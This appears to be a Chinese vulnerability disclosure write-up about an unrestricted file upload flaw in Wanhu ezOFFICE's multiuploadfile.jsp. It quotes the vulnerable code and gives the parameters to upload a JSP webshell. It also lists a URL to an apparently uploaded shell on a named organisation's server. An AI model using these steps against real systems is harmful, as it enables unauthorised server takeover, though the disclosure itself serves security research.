万户ezOFFICE一处任意文件操作

漏洞作者: goubuli

 

其实标题可以写“万户ezOFFICE又一处任意文件上传可getshell,无上传限制”,考虑到对厂商的影响,所以标题写的隐晦一点。

万户ezOFFICE又一处任意文件上传可getshell

wooyun上面报了很多万户的文件漏洞,尤其是“北京方便面”和“瘦蛟舞”提交的较多。

今天审计的这个点,wooyun上现在还没人提交。

对应文件:

\defaultroot\public\jsp\multiuploadfile.jsp

出现问题的代码如下:

String filePath="/upload/"+path+"/";		//上传文件存放的位置,path可自定义
if("add".equals(mode)){				//上传标识
    boolean tooBig=false;
    myUpload.initialize(pageContext);
    myUpload.upload();

    for (int j=0;j<myUpload.getFiles().getCount();j++){
        myRandom=new com.whir.common.util.Random().getRandom();				//文件名是根据时间生产的一个序列,后面有说明
        com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j);
        int size=myFile.getSize();
        if(fileSize==0 || myFile.getSize()<fileSize){
            if (!myFile.isMissing()) {
                saveName=myRandom+"."+myFile.getFileExt();
                fileName=myFile.getFileName();
                myFile.saveAs(filePath + saveName);				//上传的文件直接保存到对应位置
            }
        }else{
            tooBig=true;
        }
    }
    if(tooBig){%>

还有一些参数获取,这里指出两个重要参数:

String mode=(String)request.getParameter("mode");
String path=(String)request.getParameter("path");

其中mode代表命令,path指定特定位置。

那么我们做如下构造:

path=sound&mode=add

提交无需“multipart/form-data”方式提交。

其中:

参数:path=sound 指定的路径为:\defaultroot\upload\sound\

mode=add 为满足if条件,即上传。

第一次上传可能没有数据,跳转页面也可上传。(可以直接用burp提交)

 

05165309e1d34acef17331f09ed1721ebe24ec0b

 

上传成功:

05165454989041ce09718bb03931cfc99b9ad400

 

此时可以通过查看页面源码看到改名后的文件:

051656100dc1d72922203e9f36eb2e50ac0cf801

 

代码:

<SCRIPT LANGUAGE="JavaScript">
    <!--
        alert("附件上传成功");
        //在调用页面的table列表中显示
        opener.reView("<%=saveName%>");
        var path="<%=path%>";
        var parentTable="<%=tableName%>";
        var fileNames="<%=fileNames%>";
        var saveNames="<%=saveNames%>";

        var obj=eval("opener.window.document.all."+parentTable);

其中saveName为改名后的文件。

然后访问shell:http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110516441408716191497.jsp

051659001d4f02bde6540d4cb477b7e71b69a86c

发表评论